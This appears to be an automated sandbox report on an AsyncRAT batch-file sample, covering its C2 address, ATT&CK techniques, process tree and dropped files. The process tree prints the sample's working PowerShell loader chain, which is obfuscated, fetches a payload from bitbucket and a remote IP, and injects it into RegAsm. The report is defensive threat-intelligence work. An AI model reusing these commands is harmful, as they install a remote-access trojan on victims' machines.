asyncrat | 88cb5593f2e66f223ed0993c90ec0709fc7166ff6c8659e33b84c24f6f5387a9

Analysis

max time kernel
144s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-12-2024 08:42

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General

Target

4753694444c734517db1798354d6757e.bat
Size

14KB
MD5

4753694444c734517db1798354d6757e
SHA1

69a983a9a46a68e0e716cb2455cc0c476b962d30
SHA256

88cb5593f2e66f223ed0993c90ec0709fc7166ff6c8659e33b84c24f6f5387a9
SHA512

4ff0358b264757dd5182fef9b199ab3850f130fb8455e4bbb607956630c2066c66df93f7f96023a9c4acef133d4ad68f09236272fcd814b604fbf646d7f76cce
SSDEEP

192:b86KQd3z8g+F+5lhVbeTymbPppbm/NbqHvRZqoi10OWjKRw1BiqvQ5OdvyyVEuNH:bjBoJqlkP7jqVqR8FWmgvWGUWZ

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

103.125.189.155:8848

Mutex

DcRatMutex_6565

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	4908	powershell.exe
17	4908	powershell.exe
20	4908	powershell.exe
23	3404	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3404	powershell.exe
1072	powershell.exe
4908	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4753694444c734517db1798354d6757e.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4753694444c734517db1798354d6757e.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	bitbucket.org
15	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4908 set thread context of 2864	4908	powershell.exe	90

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
856	WINWORD.EXE
856	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1072	powershell.exe
1072	powershell.exe
4908	powershell.exe
4908	powershell.exe
3404	powershell.exe
3404	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5080	WMIC.exe
Token: SeSecurityPrivilege	5080	WMIC.exe
Token: SeTakeOwnershipPrivilege	5080	WMIC.exe
Token: SeLoadDriverPrivilege	5080	WMIC.exe
Token: SeSystemProfilePrivilege	5080	WMIC.exe
Token: SeSystemtimePrivilege	5080	WMIC.exe
Token: SeProfSingleProcessPrivilege	5080	WMIC.exe
Token: SeIncBasePriorityPrivilege	5080	WMIC.exe
Token: SeCreatePagefilePrivilege	5080	WMIC.exe
Token: SeBackupPrivilege	5080	WMIC.exe
Token: SeRestorePrivilege	5080	WMIC.exe
Token: SeShutdownPrivilege	5080	WMIC.exe
Token: SeDebugPrivilege	5080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5080	WMIC.exe
Token: SeRemoteShutdownPrivilege	5080	WMIC.exe
Token: SeUndockPrivilege	5080	WMIC.exe
Token: SeManageVolumePrivilege	5080	WMIC.exe
Token: 33	5080	WMIC.exe
Token: 34	5080	WMIC.exe
Token: 35	5080	WMIC.exe
Token: 36	5080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5080	WMIC.exe
Token: SeSecurityPrivilege	5080	WMIC.exe
Token: SeTakeOwnershipPrivilege	5080	WMIC.exe
Token: SeLoadDriverPrivilege	5080	WMIC.exe
Token: SeSystemProfilePrivilege	5080	WMIC.exe
Token: SeSystemtimePrivilege	5080	WMIC.exe
Token: SeProfSingleProcessPrivilege	5080	WMIC.exe
Token: SeIncBasePriorityPrivilege	5080	WMIC.exe
Token: SeCreatePagefilePrivilege	5080	WMIC.exe
Token: SeBackupPrivilege	5080	WMIC.exe
Token: SeRestorePrivilege	5080	WMIC.exe
Token: SeShutdownPrivilege	5080	WMIC.exe
Token: SeDebugPrivilege	5080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5080	WMIC.exe
Token: SeRemoteShutdownPrivilege	5080	WMIC.exe
Token: SeUndockPrivilege	5080	WMIC.exe
Token: SeManageVolumePrivilege	5080	WMIC.exe
Token: 33	5080	WMIC.exe
Token: 34	5080	WMIC.exe
Token: 35	5080	WMIC.exe
Token: 36	5080	WMIC.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	2864	RegAsm.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE
856	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3832 wrote to memory of 5080	3832	cmd.exe	84
PID 3832 wrote to memory of 5080	3832	cmd.exe	84
PID 3832 wrote to memory of 3392	3832	cmd.exe	85
PID 3832 wrote to memory of 3392	3832	cmd.exe	85
PID 3832 wrote to memory of 1072	3832	cmd.exe	87
PID 3832 wrote to memory of 1072	3832	cmd.exe	87
PID 1072 wrote to memory of 4908	1072	powershell.exe	88
PID 1072 wrote to memory of 4908	1072	powershell.exe	88
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 4908 wrote to memory of 2864	4908	powershell.exe	90
PID 3832 wrote to memory of 3404	3832	cmd.exe	91
PID 3832 wrote to memory of 3404	3832	cmd.exe	91
PID 3404 wrote to memory of 856	3404	powershell.exe	96
PID 3404 wrote to memory of 856	3404	powershell.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4753694444c734517db1798354d6757e.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3832
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5080
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$HQ$ZQBz$HQ$aQBu$Gc$cwBv$G0$ZQB0$Gg$aQBu$Gc$d$$v$GY$ZwBo$Gg$a$Bo$Gg$a$Bo$Gg$a$Bk$Gc$LwBk$G8$dwBu$Gw$bwBh$GQ$cw$v$G4$ZQB3$F8$aQBt$Gc$LgBq$H$$Zw$/$DU$Mw$3$DY$MQ$y$Cc$L$$g$Cc$a$B0$HQ$c$$6$C8$Lw$x$D$$Mw$u$DI$ZQ$u$DY$Mg$v$HQ$ZQBz$HQ$XwBp$G0$Zw$u$Go$c$Bn$Cc$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$g$D0$I$BE$G8$dwBu$Gw$bwBh$GQ$R$Bh$HQ$YQBG$HI$bwBt$Ew$aQBu$Gs$cw$g$CQ$b$Bp$G4$awBz$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$aQBm$C$$K$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$t$G4$ZQ$g$CQ$bgB1$Gw$b$$p$C$$ew$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$I$$9$C$$WwBT$Hk$cwB0$GU$bQ$u$FQ$ZQB4$HQ$LgBF$G4$YwBv$GQ$aQBu$Gc$XQ$6$Do$VQBU$EY$O$$u$Ec$ZQB0$FM$d$By$Gk$bgBn$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HM$d$Bh$HI$d$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$UwBU$EE$UgBU$D4$Pg$n$Ds$I$$k$GU$bgBk$EY$b$Bh$Gc$I$$9$C$$Jw$8$Dw$QgBB$FM$RQ$2$DQ$XwBF$E4$R$$+$D4$Jw$7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$p$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bl$G4$Z$BJ$G4$Z$Bl$Hg$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$Ek$bgBk$GU$e$BP$GY$K$$k$GU$bgBk$EY$b$Bh$Gc$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$LQBn$GU$I$$w$C$$LQBh$G4$Z$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$LQBn$HQ$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$KQ$g$Hs$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$I$$r$D0$I$$k$HM$d$Bh$HI$d$BG$Gw$YQBn$C4$T$Bl$G4$ZwB0$Gg$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$C$$PQ$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$LQ$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YgBh$HM$ZQ$2$DQ$QwBv$G0$bQBh$G4$Z$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$UwB1$GI$cwB0$HI$aQBu$Gc$K$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$L$$g$CQ$YgBh$HM$ZQ$2$DQ$T$Bl$G4$ZwB0$Gg$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$bQBh$G4$Z$BC$Hk$d$Bl$HM$I$$9$C$$WwBT$Hk$cwB0$GU$bQ$u$EM$bwBu$HY$ZQBy$HQ$XQ$6$Do$RgBy$G8$bQBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$YgBh$HM$ZQ$2$DQ$QwBv$G0$bQBh$G4$Z$$p$Ds$I$$k$Gw$bwBh$GQ$ZQBk$EE$cwBz$GU$bQBi$Gw$eQ$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$UgBl$GY$b$Bl$GM$d$Bp$G8$bg$u$EE$cwBz$GU$bQBi$Gw$eQBd$Do$OgBM$G8$YQBk$Cg$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$p$Ds$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bt$GU$d$Bo$G8$Z$$g$D0$I$$k$HQ$eQBw$GU$LgBH$GU$d$BN$GU$d$Bo$G8$Z$$o$Cc$b$Bm$HM$ZwBl$GQ$Z$Bk$GQ$Z$Bk$GQ$YQ$n$Ck$LgBJ$G4$dgBv$Gs$ZQ$o$CQ$bgB1$Gw$b$$s$C$$WwBv$GI$agBl$GM$d$Bb$F0$XQ$g$Cg$JwB0$Hg$d$$u$Gk$RgBo$G0$bQBm$Gs$Lw$y$DY$Lg$y$D$$MQ$u$D$$Mg$u$DM$M$$x$C8$Lw$6$H$$d$B0$Gg$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$UgBl$Gc$QQBz$G0$Jw$s$C$$Jw$w$Cc$KQ$p$H0$fQ$=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('$','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/testingsomethingt/fghhhhhhhhhdg/downloads/new_img.jpg?537612', 'http://103.2e.62/test_img.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.iFhmmfk/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\donhang.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD39FA.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywvnsvjm.lt4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
360B

MD5
2aa0cf3e008051b02691ba174f952b6c

SHA1
7219400d9920928f491425bfeb3b231a198d03f1

SHA256
ca43cc7141bc51ea2ab5d9078308984f9d83caf55ed111badec2af926d7854c4

SHA512
a878643860d0f24209ebab6812dff0488fa53f2232253b93974e64041c6e61d43bf501734467f2a43ebd415988afc103834854ec9044a701629ef8b7dd1f8f62

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
820dc4f717a63d0a22349ad4865f19df

SHA1
1d94bf7633103675c8aee7acb3b33d29db045f84

SHA256
708c4eb50ca378fb4ac2a3013ce3f03dad7d58cf34ee436f9d4df312478ba38e

SHA512
9061c29402eed2eac634e7de388f0b220502d1da68c2ff241bc72f4b9cf0c006ec30347b2ddab01e6d43edad8dd8682fd3c22d9c2292fdfa8c2449629554a4e8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
d387076bdd11db49d33c40dc8dda0f04

SHA1
b09d605a90e526bf755a27664ce8bf1f3e8ffe36

SHA256
ccfcc90d2ac8c7ddc431af5c84ed620e6195fdd4f79bf48ca0d801c2f4d30b79

SHA512
3fa9efb268bf47d93588343c410db5951cf98b63b0022f7580ce11fdbf7ea526798c9fb6d8109fd9c0b60f9aa1575c43f31636a27e828e9b65264e84ee404f3b

Download Submit
C:\Users\Admin\AppData\Roaming\donhang.docx

Filesize
12KB

MD5
ff3620557b65e6e8dd8816643d785c5a

SHA1
d5021480b7cac2066462829c53dc18615642c579

SHA256
85225d3c39423bbfc05e9d52351a9b00670fee3565457e5c3f75caac27ca4de9

SHA512
c2a842bfa4f3caf50d58d5707ca0ad978e04e5111fe20ad468282c216567d25da7022fb7ff2681cb72acc8add3cbcf37000b6bde06ad252758f6ff06c9fb3d34

Download Submit
memory/856-62-0x00007FFC2D1D0000-0x00007FFC2D1E0000-memory.dmp

Filesize
64KB

Download
memory/856-59-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/856-61-0x00007FFC2D1D0000-0x00007FFC2D1E0000-memory.dmp

Filesize
64KB

Download
memory/856-60-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/856-56-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/856-58-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/856-57-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/1072-12-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/1072-11-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/1072-10-0x000001EA6D760000-0x000001EA6D782000-memory.dmp

Filesize
136KB

Download
memory/1072-33-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/1072-0-0x00007FFC50B93000-0x00007FFC50B95000-memory.dmp

Filesize
8KB

Download
memory/2864-48-0x0000000005E80000-0x0000000005F1C000-memory.dmp

Filesize
624KB

Download
memory/2864-50-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download
memory/2864-49-0x00000000064D0000-0x0000000006A74000-memory.dmp

Filesize
5.6MB

Download
memory/2864-26-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4908-29-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/4908-25-0x000001AAEF2C0000-0x000001AAEF2D0000-memory.dmp

Filesize
64KB

Download
memory/4908-24-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/4908-14-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download
memory/4908-13-0x00007FFC50B90000-0x00007FFC51651000-memory.dmp

Filesize
10.8MB

Download